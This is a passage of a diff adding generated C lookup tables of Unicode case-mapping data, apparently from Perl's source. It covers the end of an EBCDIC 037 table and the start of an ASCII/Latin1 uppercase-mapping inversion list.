+	0x1E18,
+	0,
+	0x1E1A,
+	0,
+	0x1E1C,
+	0,
+	0x1E1E,
+	0,
+	0x1E20,
+	0,
+	0x1E22,
+	0,
+	0x1E24,
+	0,
+	0x1E26,
+	0,
+	0x1E28,
+	0,
+	0x1E2A,
+	0,
+	0x1E2C,
+	0,
+	0x1E2E,
+	0,
+	0x1E30,
+	0,
+	0x1E32,
+	0,
+	0x1E34,
+	0,
+	0x1E36,
+	0,
+	0x1E38,
+	0,
+	0x1E3A,
+	0,
+	0x1E3C,
+	0,
+	0x1E3E,
+	0,
+	0x1E40,
+	0,
+	0x1E42,
+	0,
+	0x1E44,
+	0,
+	0x1E46,
+	0,
+	0x1E48,
+	0,
+	0x1E4A,
+	0,
+	0x1E4C,
+	0,
+	0x1E4E,
+	0,
+	0x1E50,
+	0,
+	0x1E52,
+	0,
+	0x1E54,
+	0,
+	0x1E56,
+	0,
+	0x1E58,
+	0,
+	0x1E5A,
+	0,
+	0x1E5C,
+	0,
+	0x1E5E,
+	0,
+	0x1E60,
+	0,
+	0x1E62,
+	0,
+	0x1E64,
+	0,
+	0x1E66,
+	0,
+	0x1E68,
+	0,
+	0x1E6A,
+	0,
+	0x1E6C,
+	0,
+	0x1E6E,
+	0,
+	0x1E70,
+	0,
+	0x1E72,
+	0,
+	0x1E74,
+	0,
+	0x1E76,
+	0,
+	0x1E78,
+	0,
+	0x1E7A,
+	0,
+	0x1E7C,
+	0,
+	0x1E7E,
+	0,
+	0x1E80,
+	0,
+	0x1E82,
+	0,
+	0x1E84,
+	0,
+	0x1E86,
+	0,
+	0x1E88,
+	0,
+	0x1E8A,
+	0,
+	0x1E8C,
+	0,
+	0x1E8E,
+	0,
+	0x1E90,
+	0,
+	0x1E92,
+	0,
+	0x1E94,
+	TC_use_AUX_TABLE_7,
+	TC_use_AUX_TABLE_8,
+	TC_use_AUX_TABLE_9,
+	TC_use_AUX_TABLE_10,
+	TC_use_AUX_TABLE_11,
+	0x1E60,
+	0,
+	0x1EA0,
+	0,
+	0x1EA2,
+	0,
+	0x1EA4,
+	0,
+	0x1EA6,
+	0,
+	0x1EA8,
+	0,
+	0x1EAA,
+	0,
+	0x1EAC,
+	0,
+	0x1EAE,
+	0,
+	0x1EB0,
+	0,
+	0x1EB2,
+	0,
+	0x1EB4,
+	0,
+	0x1EB6,
+	0,
+	0x1EB8,
+	0,
+	0x1EBA,
+	0,
+	0x1EBC,
+	0,
+	0x1EBE,
+	0,
+	0x1EC0,
+	0,
+	0x1EC2,
+	0,
+	0x1EC4,
+	0,
+	0x1EC6,
+	0,
+	0x1EC8,
+	0,
+	0x1ECA,
+	0,
+	0x1ECC,
+	0,
+	0x1ECE,
+	0,
+	0x1ED0,
+	0,
+	0x1ED2,
+	0,
+	0x1ED4,
+	0,
+	0x1ED6,
+	0,
+	0x1ED8,
+	0,
+	0x1EDA,
+	0,
+	0x1EDC,
+	0,
+	0x1EDE,
+	0,
+	0x1EE0,
+	0,
+	0x1EE2,
+	0,
+	0x1EE4,
+	0,
+	0x1EE6,
+	0,
+	0x1EE8,
+	0,
+	0x1EEA,
+	0,
+	0x1EEC,
+	0,
+	0x1EEE,
+	0,
+	0x1EF0,
+	0,
+	0x1EF2,
+	0,
+	0x1EF4,
+	0,
+	0x1EF6,
+	0,
+	0x1EF8,
+	0,
+	0x1EFA,
+	0,
+	0x1EFC,
+	0,
+	0x1EFE,
+	0x1F08,
+	0,
+	0x1F18,
+	0,
+	0x1F28,
+	0,
+	0x1F38,
+	0,
+	0x1F48,
+	0,
+	TC_use_AUX_TABLE_12,
+	0x1F59,
+	TC_use_AUX_TABLE_13,
+	0x1F5B,
+	TC_use_AUX_TABLE_14,
+	0x1F5D,
+	TC_use_AUX_TABLE_15,
+	0x1F5F,
+	0,
+	0x1F68,
+	0,
+	0x1FBA,
+	0x1FC8,
+	0x1FDA,
+	0x1FF8,
+	0x1FEA,
+	0x1FFA,
+	0,
+	0x1F88,
+	0,
+	0x1F98,
+	0,
+	0x1FA8,
+	0,
+	0x1FB8,
+	TC_use_AUX_TABLE_16,
+	0x1FBC,
+	TC_use_AUX_TABLE_17,
+	0,
+	TC_use_AUX_TABLE_18,
+	TC_use_AUX_TABLE_19,
+	0,
+	0x399,
+	0,
+	TC_use_AUX_TABLE_20,
+	0x1FCC,
+	TC_use_AUX_TABLE_21,
+	0,
+	TC_use_AUX_TABLE_22,
+	TC_use_AUX_TABLE_23,
+	0,
+	0x1FD8,
+	TC_use_AUX_TABLE_24,
+	TC_use_AUX_TABLE_4,
+	0,
+	TC_use_AUX_TABLE_25,
+	TC_use_AUX_TABLE_26,
+	0,
+	0x1FE8,
+	TC_use_AUX_TABLE_27,
+	TC_use_AUX_TABLE_5,
+	TC_use_AUX_TABLE_28,
+	0x1FEC,
+	TC_use_AUX_TABLE_29,
+	TC_use_AUX_TABLE_30,
+	0,
+	TC_use_AUX_TABLE_31,
+	0x1FFC,
+	TC_use_AUX_TABLE_32,
+	0,
+	TC_use_AUX_TABLE_33,
+	TC_use_AUX_TABLE_34,
+	0,
+	0x2132,
+	0,
+	0x2160,
+	0,
+	0x2183,
+	0,
+	0x24B6,
+	0,
+	0x2C00,
+	0,
+	0x2C60,
+	0,
+	0x23A,
+	0x23E,
+	0,
+	0x2C67,
+	0,
+	0x2C69,
+	0,
+	0x2C6B,
+	0,
+	0x2C72,
+	0,
+	0x2C75,
+	0,
+	0x2C80,
+	0,
+	0x2C82,
+	0,
+	0x2C84,
+	0,
+	0x2C86,
+	0,
+	0x2C88,
+	0,
+	0x2C8A,
+	0,
+	0x2C8C,
+	0,
+	0x2C8E,
+	0,
+	0x2C90,
+	0,
+	0x2C92,
+	0,
+	0x2C94,
+	0,
+	0x2C96,
+	0,
+	0x2C98,
+	0,
+	0x2C9A,
+	0,
+	0x2C9C,
+	0,
+	0x2C9E,
+	0,
+	0x2CA0,
+	0,
+	0x2CA2,
+	0,
+	0x2CA4,
+	0,
+	0x2CA6,
+	0,
+	0x2CA8,
+	0,
+	0x2CAA,
+	0,
+	0x2CAC,
+	0,
+	0x2CAE,
+	0,
+	0x2CB0,
+	0,
+	0x2CB2,
+	0,
+	0x2CB4,
+	0,
+	0x2CB6,
+	0,
+	0x2CB8,
+	0,
+	0x2CBA,
+	0,
+	0x2CBC,
+	0,
+	0x2CBE,
+	0,
+	0x2CC0,
+	0,
+	0x2CC2,
+	0,
+	0x2CC4,
+	0,
+	0x2CC6,
+	0,
+	0x2CC8,
+	0,
+	0x2CCA,
+	0,
+	0x2CCC,
+	0,
+	0x2CCE,
+	0,
+	0x2CD0,
+	0,
+	0x2CD2,
+	0,
+	0x2CD4,
+	0,
+	0x2CD6,
+	0,
+	0x2CD8,
+	0,
+	0x2CDA,
+	0,
+	0x2CDC,
+	0,
+	0x2CDE,
+	0,
+	0x2CE0,
+	0,
+	0x2CE2,
+	0,
+	0x2CEB,
+	0,
+	0x2CED,
+	0,
+	0x2CF2,
+	0,
+	0x10A0,
+	0,
+	0x10C7,
+	0,
+	0x10CD,
+	0,
+	0xA640,
+	0,
+	0xA642,
+	0,
+	0xA644,
+	0,
+	0xA646,
+	0,
+	0xA648,
+	0,
+	0xA64A,
+	0,
+	0xA64C,
+	0,
+	0xA64E,
+	0,
+	0xA650,
+	0,
+	0xA652,
+	0,
+	0xA654,
+	0,
+	0xA656,
+	0,
+	0xA658,
+	0,
+	0xA65A,
+	0,
+	0xA65C,
+	0,
+	0xA65E,
+	0,
+	0xA660,
+	0,
+	0xA662,
+	0,
+	0xA664,
+	0,
+	0xA666,
+	0,
+	0xA668,
+	0,
+	0xA66A,
+	0,
+	0xA66C,
+	0,
+	0xA680,
+	0,
+	0xA682,
+	0,
+	0xA684,
+	0,
+	0xA686,
+	0,
+	0xA688,
+	0,
+	0xA68A,
+	0,
+	0xA68C,
+	0,
+	0xA68E,
+	0,
+	0xA690,
+	0,
+	0xA692,
+	0,
+	0xA694,
+	0,
+	0xA696,
+	0,
+	0xA698,
+	0,
+	0xA69A,
+	0,
+	0xA722,
+	0,
+	0xA724,
+	0,
+	0xA726,
+	0,
+	0xA728,
+	0,
+	0xA72A,
+	0,
+	0xA72C,
+	0,
+	0xA72E,
+	0,
+	0xA732,
+	0,
+	0xA734,
+	0,
+	0xA736,
+	0,
+	0xA738,
+	0,
+	0xA73A,
+	0,
+	0xA73C,
+	0,
+	0xA73E,
+	0,
+	0xA740,
+	0,
+	0xA742,
+	0,
+	0xA744,
+	0,
+	0xA746,
+	0,
+	0xA748,
+	0,
+	0xA74A,
+	0,
+	0xA74C,
+	0,
+	0xA74E,
+	0,
+	0xA750,
+	0,
+	0xA752,
+	0,
+	0xA754,
+	0,
+	0xA756,
+	0,
+	0xA758,
+	0,
+	0xA75A,
+	0,
+	0xA75C,
+	0,
+	0xA75E,
+	0,
+	0xA760,
+	0,
+	0xA762,
+	0,
+	0xA764,
+	0,
+	0xA766,
+	0,
+	0xA768,
+	0,
+	0xA76A,
+	0,
+	0xA76C,
+	0,
+	0xA76E,
+	0,
+	0xA779,
+	0,
+	0xA77B,
+	0,
+	0xA77E,
+	0,
+	0xA780,
+	0,
+	0xA782,
+	0,
+	0xA784,
+	0,
+	0xA786,
+	0,
+	0xA78B,
+	0,
+	0xA790,
+	0,
+	0xA792,
+	0,
+	0xA796,
+	0,
+	0xA798,
+	0,
+	0xA79A,
+	0,
+	0xA79C,
+	0,
+	0xA79E,
+	0,
+	0xA7A0,
+	0,
+	0xA7A2,
+	0,
+	0xA7A4,
+	0,
+	0xA7A6,
+	0,
+	0xA7A8,
+	0,
+	0xA7B4,
+	0,
+	0xA7B6,
+	0,
+	0xA7B3,
+	0,
+	0x13A0,
+	0,
+	TC_use_AUX_TABLE_35,
+	TC_use_AUX_TABLE_36,
+	TC_use_AUX_TABLE_37,
+	TC_use_AUX_TABLE_38,
+	TC_use_AUX_TABLE_39,
+	TC_use_AUX_TABLE_40,
+	0,
+	TC_use_AUX_TABLE_41,
+	TC_use_AUX_TABLE_42,
+	TC_use_AUX_TABLE_43,
+	TC_use_AUX_TABLE_44,
+	TC_use_AUX_TABLE_45,
+	0,
+	0xFF21,
+	0,
+	0x10400,
+	0,
+	0x104B0,
+	0,
+	0x10C80,
+	0,
+	0x118A0,
+	0,
+	0x1E900,
+	0
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV Uppercase_Mapping_invlist[] = { /* for ASCII/Latin1 */
+	1365,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x61,
+	0x7B,
+	0xB5,
+	0xB6,
+	0xDF,
+	0xE0,
+	0xF7,
+	0xF8,
+	0xFF,
+	0x100,
+	0x101,
+	0x102,
+	0x103,
+	0x104,
+	0x105,
+	0x106,
+	0x107,
+	0x108,
+	0x109,
+	0x10A,
+	0x10B,
+	0x10C,
+	0x10D,
+	0x10E,
+	0x10F,
+	0x110,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x115,
+	0x116,
+	0x117,
+	0x118,
+	0x119,
+	0x11A,
+	0x11B,
+	0x11C,
+	0x11D,
+	0x11E,
+	0x11F,
+	0x120,
+	0x121,
+	0x122,
+	0x123,
+	0x124,
+	0x125,
+	0x126,
+	0x127,
+	0x128,
+	0x129,
+	0x12A,
+	0x12B,
+	0x12C,
+	0x12D,
+	0x12E,
+	0x12F,
+	0x130,
+	0x131,
+	0x132,
+	0x133,
+	0x134,
+	0x135,
+	0x136,
+	0x137,
+	0x138,
+	0x13A,
+	0x13B,
+	0x13C,
+	0x13D,
+	0x13E,
+	0x13F,
+	0x140,
+	0x141,
+	0x142,
+	0x143,
+	0x144,
+	0x145,
+	0x146,
+	0x147,
+	0x148,
+	0x149,
+	0x14A,
+	0x14B,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x14F,
+	0x150,
+	0x151,
+	0x152,
+	0x153,
+	0x154,
+	0x155,
+	0x156,
+	0x157,
+	0x158,
+	0x159,
+	0x15A,
+	0x15B,
+	0x15C,
+	0x15D,
+	0x15E,
+	0x15F,
+	0x160,
+	0x161,
+	0x162,
+	0x163,
+	0x164,
+	0x165,
+	0x166,
+	0x167,
+	0x168,
+	0x169,
+	0x16A,
+	0x16B,
+	0x16C,
+	0x16D,
+	0x16E,
+	0x16F,
+	0x170,
+	0x171,
+	0x172,
+	0x173,
+	0x174,
+	0x175,
+	0x176,
+	0x177,
+	0x178,
+	0x17A,
+	0x17B,
+	0x17C,
+	0x17D,
+	0x17E,
+	0x17F,
+	0x180,
+	0x181,
+	0x183,
+	0x184,
+	0x185,
+	0x186,
+	0x188,
+	0x189,
+	0x18C,
+	0x18D,
+	0x192,
+	0x193,
+	0x195,
+	0x196,
+	0x199,
+	0x19A,
+	0x19B,
+	0x19E,
+	0x19F,
+	0x1A1,
+	0x1A2,
+	0x1A3,
+	0x1A4,
+	0x1A5,
+	0x1A6,
+	0x1A8,
+	0x1A9,
+	0x1AD,
+	0x1AE,
+	0x1B0,
+	0x1B1,
+	0x1B4,
+	0x1B5,
+	0x1B6,
+	0x1B7,
+	0x1B9,
+	0x1BA,
+	0x1BD,
+	0x1BE,
+	0x1BF,
+	0x1C0,
+	0x1C5,
+	0x1C6,
+	0x1C7,
+	0x1C8,
+	0x1C9,
+	0x1CA,
+	0x1CB,
+	0x1CC,
+	0x1CD,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DD,
+	0x1DE,
+	0x1DF,
+	0x1E0,
+	0x1E1,
+	0x1E2,
+	0x1E3,
+	0x1E4,
+	0x1E5,
+	0x1E6,
+	0x1E7,
+	0x1E8,
+	0x1E9,
+	0x1EA,
+	0x1EB,
+	0x1EC,
+	0x1ED,
+	0x1EE,
+	0x1EF,
+	0x1F0,
+	0x1F1,
+	0x1F2,
+	0x1F3,
+	0x1F4,
+	0x1F5,
+	0x1F6,
+	0x1F9,
+	0x1FA,
+	0x1FB,
+	0x1FC,
+	0x1FD,
+	0x1FE,
+	0x1FF,
+	0x200,
+	0x201,
+	0x202,
+	0x203,
+	0x204,
+	0x205,
+	0x206,
+	0x207,
+	0x208,
+	0x209,
+	0x20A,
+	0x20B,
+	0x20C,
+	0x20D,
+	0x20E,
+	0x20F,
+	0x210,
+	0x211,
+	0x212,
+	0x213,
+	0x214,
+	0x215,
+	0x216,
+	0x217,
+	0x218,
+	0x219,
+	0x21A,
+	0x21B,
+	0x21C,
+	0x21D,
+	0x21E,
+	0x21F,
+	0x220,
+	0x223,
+	0x224,
+	0x225,
+	0x226,
+	0x227,
+	0x228,
+	0x229,
+	0x22A,
+	0x22B,
+	0x22C,
+	0x22D,
+	0x22E,
+	0x22F,
+	0x230,
+	0x231,
+	0x232,
+	0x233,
+	0x234,
+	0x23C,
+	0x23D,
+	0x23F,
+	0x241,
+	0x242,
+	0x243,
+	0x247,
+	0x248,
+	0x249,
+	0x24A,
+	0x24B,
+	0x24C,
+	0x24D,
+	0x24E,
+	0x24F,
+	0x250,
+	0x251,
+	0x252,
+	0x253,
+	0x254,
+	0x255,
+	0x256,
+	0x258,
+	0x259,
+	0x25A,
+	0x25B,
+	0x25C,
+	0x25D,
+	0x260,
+	0x261,
+	0x262,
+	0x263,
+	0x264,
+	0x265,
+	0x266,
+	0x267,
+	0x268,
+	0x269,
+	0x26A,
+	0x26B,
+	0x26C,
+	0x26D,
+	0x26F,
+	0x270,
+	0x271,
+	0x272,
+	0x273,
+	0x275,
+	0x276,
+	0x27D,
+	0x27E,
+	0x280,
+	0x281,
+	0x283,
+	0x284,
+	0x287,
+	0x288,
+	0x289,
+	0x28A,
+	0x28C,
+	0x28D,
+	0x292,
+	0x293,
+	0x29D,
+	0x29E,
+	0x29F,
+	0x345,
+	0x346,
+	0x371,
+	0x372,
+	0x373,
+	0x374,
+	0x377,
+	0x378,
+	0x37B,
+	0x37E,
+	0x390,
+	0x391,
+	0x3AC,
+	0x3AD,
+	0x3B0,
+	0x3B1,
+	0x3C2,
+	0x3C3,
+	0x3CC,
+	0x3CD,
+	0x3CF,
+	0x3D0,
+	0x3D1,
+	0x3D2,
+	0x3D5,
+	0x3D6,
+	0x3D7,
+	0x3D8,
+	0x3D9,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3E3,
+	0x3E4,
+	0x3E5,
+	0x3E6,
+	0x3E7,
+	0x3E8,
+	0x3E9,
+	0x3EA,
+	0x3EB,
+	0x3EC,
+	0x3ED,
+	0x3EE,
+	0x3EF,
+	0x3F0,
+	0x3F1,
+	0x3F2,
+	0x3F3,
+	0x3F4,
+	0x3F5,
+	0x3F6,
+	0x3F8,
+	0x3F9,
+	0x3FB,
+	0x3FC,
+	0x430,
+	0x450,
+	0x460,
+	0x461,
+	0x462,
+	0x463,
+	0x464,
+	0x465,
+	0x466,
+	0x467,
+	0x468,
+	0x469,
+	0x46A,
+	0x46B,
+	0x46C,
+	0x46D,
+	0x46E,
+	0x46F,
+	0x470,
+	0x471,
+	0x472,
+	0x473,
+	0x474,
+	0x475,
+	0x476,
+	0x477,
+	0x478,
+	0x479,
+	0x47A,
+	0x47B,
+	0x47C,
+	0x47D,
+	0x47E,
+	0x47F,
+	0x480,
+	0x481,
+	0x482,
+	0x48B,
+	0x48C,
+	0x48D,
+	0x48E,
+	0x48F,
+	0x490,
+	0x491,
+	0x492,
+	0x493,
+	0x494,
+	0x495,
+	0x496,
+	0x497,
+	0x498,
+	0x499,
+	0x49A,
+	0x49B,
+	0x49C,
+	0x49D,
+	0x49E,
+	0x49F,
+	0x4A0,
+	0x4A1,
+	0x4A2,
+	0x4A3,
+	0x4A4,
+	0x4A5,
+	0x4A6,
+	0x4A7,
+	0x4A8,
+	0x4A9,
+	0x4AA,
+	0x4AB,
+	0x4AC,
+	0x4AD,
+	0x4AE,
+	0x4AF,
+	0x4B0,
+	0x4B1,
+	0x4B2,
+	0x4B3,
+	0x4B4,
+	0x4B5,
+	0x4B6,
+	0x4B7,
+	0x4B8,
+	0x4B9,
+	0x4BA,
+	0x4BB,
+	0x4BC,
+	0x4BD,
+	0x4BE,
+	0x4BF,
+	0x4C0,
+	0x4C2,
+	0x4C3,
+	0x4C4,
+	0x4C5,
+	0x4C6,
+	0x4C7,
+	0x4C8,
+	0x4C9,
+	0x4CA,
+	0x4CB,
+	0x4CC,
+	0x4CD,
+	0x4CE,
+	0x4CF,
+	0x4D0,
+	0x4D1,
+	0x4D2,
+	0x4D3,
+	0x4D4,
+	0x4D5,
+	0x4D6,
+	0x4D7,
+	0x4D8,
+	0x4D9,
+	0x4DA,
+	0x4DB,
+	0x4DC,
+	0x4DD,
+	0x4DE,
+	0x4DF,
+	0x4E0,
+	0x4E1,
+	0x4E2,
+	0x4E3,
+	0x4E4,
+	0x4E5,
+	0x4E6,
+	0x4E7,
+	0x4E8,
+	0x4E9,
+	0x4EA,
+	0x4EB,
+	0x4EC,
+	0x4ED,
+	0x4EE,
+	0x4EF,
+	0x4F0,
+	0x4F1,
+	0x4F2,
+	0x4F3,
+	0x4F4,
+	0x4F5,
+	0x4F6,
+	0x4F7,
+	0x4F8,
+	0x4F9,
+	0x4FA,
+	0x4FB,
+	0x4FC,
+	0x4FD,
+	0x4FE,
+	0x4FF,
+	0x500,
+	0x501,
+	0x502,
+	0x503,
+	0x504,
+	0x505,
+	0x506,
+	0x507,
+	0x508,
+	0x509,
+	0x50A,
+	0x50B,
+	0x50C,
+	0x50D,
+	0x50E,
+	0x50F,
+	0x510,
+	0x511,
+	0x512,
+	0x513,
+	0x514,
+	0x515,
+	0x516,
+	0x517,
+	0x518,
+	0x519,
+	0x51A,
+	0x51B,
+	0x51C,
+	0x51D,
+	0x51E,
+	0x51F,
+	0x520,
+	0x521,
+	0x522,
+	0x523,
+	0x524,
+	0x525,
+	0x526,
+	0x527,
+	0x528,
+	0x529,
+	0x52A,
+	0x52B,
+	0x52C,
+	0x52D,
+	0x52E,
+	0x52F,
+	0x530,
+	0x561,
+	0x587,
+	0x588,
+	0x13F8,
+	0x13FE,
+	0x1C80,
+	0x1C81,
+	0x1C82,
+	0x1C83,
+	0x1C85,
+	0x1C86,
+	0x1C87,
+	0x1C88,
+	0x1C89,
+	0x1D79,
+	0x1D7A,
+	0x1D7D,
+	0x1D7E,
+	0x1E01,
+	0x1E02,
+	0x1E03,
+	0x1E04,
+	0x1E05,
+	0x1E06,
+	0x1E07,
+	0x1E08,
+	0x1E09,
+	0x1E0A,
+	0x1E0B,
+	0x1E0C,
+	0x1E0D,
+	0x1E0E,
+	0x1E0F,
+	0x1E10,
+	0x1E11,
+	0x1E12,
+	0x1E13,
+	0x1E14,
+	0x1E15,
+	0x1E16,
+	0x1E17,
+	0x1E18,
+	0x1E19,
+	0x1E1A,
+	0x1E1B,
+	0x1E1C,
+	0x1E1D,
+	0x1E1E,
+	0x1E1F,
+	0x1E20,
+	0x1E21,
+	0x1E22,
+	0x1E23,
+	0x1E24,
+	0x1E25,
+	0x1E26,
+	0x1E27,
+	0x1E28,
+	0x1E29,
+	0x1E2A,
+	0x1E2B,
+	0x1E2C,
+	0x1E2D,
+	0x1E2E,
+	0x1E2F,
+	0x1E30,
+	0x1E31,
+	0x1E32,
+	0x1E33,
+	0x1E34,
+	0x1E35,
+	0x1E36,
+	0x1E37,
+	0x1E38,
+	0x1E39,
+	0x1E3A,
+	0x1E3B,
+	0x1E3C,
+	0x1E3D,
+	0x1E3E,
+	0x1E3F,
+	0x1E40,
+	0x1E41,
+	0x1E42,
+	0x1E43,
+	0x1E44,
+	0x1E45,
+	0x1E46,
+	0x1E47,
+	0x1E48,
+	0x1E49,
+	0x1E4A,
+	0x1E4B,
+	0x1E4C,
+	0x1E4D,
+	0x1E4E,
+	0x1E4F,
+	0x1E50,
+	0x1E51,
+	0x1E52,
+	0x1E53,
+	0x1E54,
+	0x1E55,
+	0x1E56,
+	0x1E57,
+	0x1E58,
+	0x1E59,
+	0x1E5A,
+	0x1E5B,
+	0x1E5C,
+	0x1E5D,
+	0x1E5E,
+	0x1E5F,
+	0x1E60,
+	0x1E61,
+	0x1E62,
+	0x1E63,
+	0x1E64,
+	0x1E65,
+	0x1E66,
+	0x1E67,
+	0x1E68,
+	0x1E69,
+	0x1E6A,
+	0x1E6B,
+	0x1E6C,
+	0x1E6D,
+	0x1E6E,
+	0x1E6F,
+	0x1E70,
+	0x1E71,
+	0x1E72,
+	0x1E73,
+	0x1E74,
+	0x1E75,
+	0x1E76,
+	0x1E77,
+	0x1E78,
+	0x1E79,
+	0x1E7A,
+	0x1E7B,
+	0x1E7C,
+	0x1E7D,
+	0x1E7E,
+	0x1E7F,
+	0x1E80,
+	0x1E81,
+	0x1E82,
+	0x1E83,
+	0x1E84,
+	0x1E85,
+	0x1E86,
+	0x1E87,
+	0x1E88,
+	0x1E89,
+	0x1E8A,
+	0x1E8B,
+	0x1E8C,
+	0x1E8D,
+	0x1E8E,
+	0x1E8F,
+	0x1E90,
+	0x1E91,
+	0x1E92,
+	0x1E93,
+	0x1E94,
+	0x1E95,
+	0x1E96,
+	0x1E97,
+	0x1E98,
+	0x1E99,
+	0x1E9A,
+	0x1E9B,
+	0x1E9C,
+	0x1EA1,
+	0x1EA2,
+	0x1EA3,
+	0x1EA4,
+	0x1EA5,
+	0x1EA6,
+	0x1EA7,
+	0x1EA8,
+	0x1EA9,
+	0x1EAA,
+	0x1EAB,
+	0x1EAC,
+	0x1EAD,
+	0x1EAE,
+	0x1EAF,
+	0x1EB0,
+	0x1EB1,
+	0x1EB2,
+	0x1EB3,
+	0x1EB4,
+	0x1EB5,
+	0x1EB6,
+	0x1EB7,
+	0x1EB8,
+	0x1EB9,
+	0x1EBA,
+	0x1EBB,
+	0x1EBC,
+	0x1EBD,
+	0x1EBE,
+	0x1EBF,
+	0x1EC0,
+	0x1EC1,
+	0x1EC2,
+	0x1EC3,
+	0x1EC4,
+	0x1EC5,
+	0x1EC6,
+	0x1EC7,
+	0x1EC8,
+	0x1EC9,
+	0x1ECA,
+	0x1ECB,
+	0x1ECC,
+	0x1ECD,
+	0x1ECE,
+	0x1ECF,
+	0x1ED0,
+	0x1ED1,
+	0x1ED2,
+	0x1ED3,
+	0x1ED4,
+	0x1ED5,
+	0x1ED6,
+	0x1ED7,
+	0x1ED8,
+	0x1ED9,
+	0x1EDA,
+	0x1EDB,
+	0x1EDC,
+	0x1EDD,
+	0x1EDE,
+	0x1EDF,
+	0x1EE0,
+	0x1EE1,
+	0x1EE2,
+	0x1EE3,
+	0x1EE4,
+	0x1EE5,
+	0x1EE6,
+	0x1EE7,
+	0x1EE8,
+	0x1EE9,
+	0x1EEA,
+	0x1EEB,
+	0x1EEC,
+	0x1EED,
+	0x1EEE,
+	0x1EEF,
+	0x1EF0,
+	0x1EF1,
+	0x1EF2,
+	0x1EF3,
+	0x1EF4,
+	0x1EF5,
+	0x1EF6,
+	0x1EF7,
+	0x1EF8,
+	0x1EF9,
+	0x1EFA,
+	0x1EFB,
+	0x1EFC,
+	0x1EFD,
+	0x1EFE,
+	0x1EFF,
+	0x1F00,
+	0x1F08,
+	0x1F10,
+	0x1F16,
+	0x1F20,
+	0x1F28,
+	0x1F30,
+	0x1F38,
+	0x1F40,
+	0x1F46,
+	0x1F50,
+	0x1F51,
+	0x1F52,
+	0x1F53,
+	0x1F54,
+	0x1F55,
+	0x1F56,
+	0x1F57,
+	0x1F58,
+	0x1F60,
+	0x1F68,
+	0x1F70,
+	0x1F72,
+	0x1F76,
+	0x1F78,
+	0x1F7A,
+	0x1F7C,
+	0x1F7E,
+	0x1F80,
+	0x1F81,
+	0x1F82,
+	0x1F83,
+	0x1F84,
+	0x1F85,
+	0x1F86,
+	0x1F87,
+	0x1F88,
+	0x1F89,
+	0x1F8A,
+	0x1F8B,
+	0x1F8C,
+	0x1F8D,
+	0x1F8E,
+	0x1F8F,
+	0x1F90,
+	0x1F91,
+	0x1F92,
+	0x1F93,
+	0x1F94,
+	0x1F95,
+	0x1F96,
+	0x1F97,
+	0x1F98,
+	0x1F99,
+	0x1F9A,
+	0x1F9B,
+	0x1F9C,
+	0x1F9D,
+	0x1F9E,
+	0x1F9F,
+	0x1FA0,
+	0x1FA1,
+	0x1FA2,
+	0x1FA3,
+	0x1FA4,
+	0x1FA5,
+	0x1FA6,
+	0x1FA7,
+	0x1FA8,
+	0x1FA9,
+	0x1FAA,
+	0x1FAB,
+	0x1FAC,
+	0x1FAD,
+	0x1FAE,
+	0x1FAF,
+	0x1FB0,
+	0x1FB2,
+	0x1FB3,
+	0x1FB4,
+	0x1FB5,
+	0x1FB6,
+	0x1FB7,
+	0x1FB8,
+	0x1FBC,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC3,
+	0x1FC4,
+	0x1FC5,
+	0x1FC6,
+	0x1FC7,
+	0x1FC8,
+	0x1FCC,
+	0x1FCD,
+	0x1FD0,
+	0x1FD2,
+	0x1FD3,
+	0x1FD4,
+	0x1FD6,
+	0x1FD7,
+	0x1FD8,
+	0x1FE0,
+	0x1FE2,
+	0x1FE3,
+	0x1FE4,
+	0x1FE5,
+	0x1FE6,
+	0x1FE7,
+	0x1FE8,
+	0x1FF2,
+	0x1FF3,
+	0x1FF4,
+	0x1FF5,
+	0x1FF6,
+	0x1FF7,
+	0x1FF8,
+	0x1FFC,
+	0x1FFD,
+	0x214E,
+	0x214F,
+	0x2170,
+	0x2180,
+	0x2184,
+	0x2185,
+	0x24D0,
+	0x24EA,
+	0x2C30,
+	0x2C5F,
+	0x2C61,
+	0x2C62,
+	0x2C65,
+	0x2C66,
+	0x2C67,
+	0x2C68,
+	0x2C69,
+	0x2C6A,
+	0x2C6B,
+	0x2C6C,
+	0x2C6D,
+	0x2C73,
+	0x2C74,
+	0x2C76,
+	0x2C77,
+	0x2C81,
+	0x2C82,
+	0x2C83,
+	0x2C84,
+	0x2C85,
+	0x2C86,
+	0x2C87,
+	0x2C88,
+	0x2C89,
+	0x2C8A,
+	0x2C8B,
+	0x2C8C,
+	0x2C8D,
+	0x2C8E,
+	0x2C8F,
+	0x2C90,
+	0x2C91,
+	0x2C92,
+	0x2C93,
+	0x2C94,
+	0x2C95,
+	0x2C96,
+	0x2C97,
+	0x2C98,
+	0x2C99,
+	0x2C9A,
+	0x2C9B,
+	0x2C9C,
+	0x2C9D,
+	0x2C9E,
+	0x2C9F,
+	0x2CA0,
+	0x2CA1,
+	0x2CA2,
+	0x2CA3,
+	0x2CA4,
+	0x2CA5,
+	0x2CA6,
+	0x2CA7,
+	0x2CA8,
+	0x2CA9,
+	0x2CAA,
+	0x2CAB,
+	0x2CAC,
+	0x2CAD,
+	0x2CAE,
+	0x2CAF,
+	0x2CB0,
+	0x2CB1,
+	0x2CB2,
+	0x2CB3,
+	0x2CB4,
+	0x2CB5,
+	0x2CB6,
+	0x2CB7,
+	0x2CB8,
+	0x2CB9,
+	0x2CBA,
+	0x2CBB,
+	0x2CBC,
+	0x2CBD,
+	0x2CBE,
+	0x2CBF,
+	0x2CC0,
+	0x2CC1,
+	0x2CC2,
+	0x2CC3,
+	0x2CC4,
+	0x2CC5,
+	0x2CC6,
+	0x2CC7,
+	0x2CC8,
+	0x2CC9,
+	0x2CCA,
+	0x2CCB,
+	0x2CCC,
+	0x2CCD,
+	0x2CCE,
+	0x2CCF,
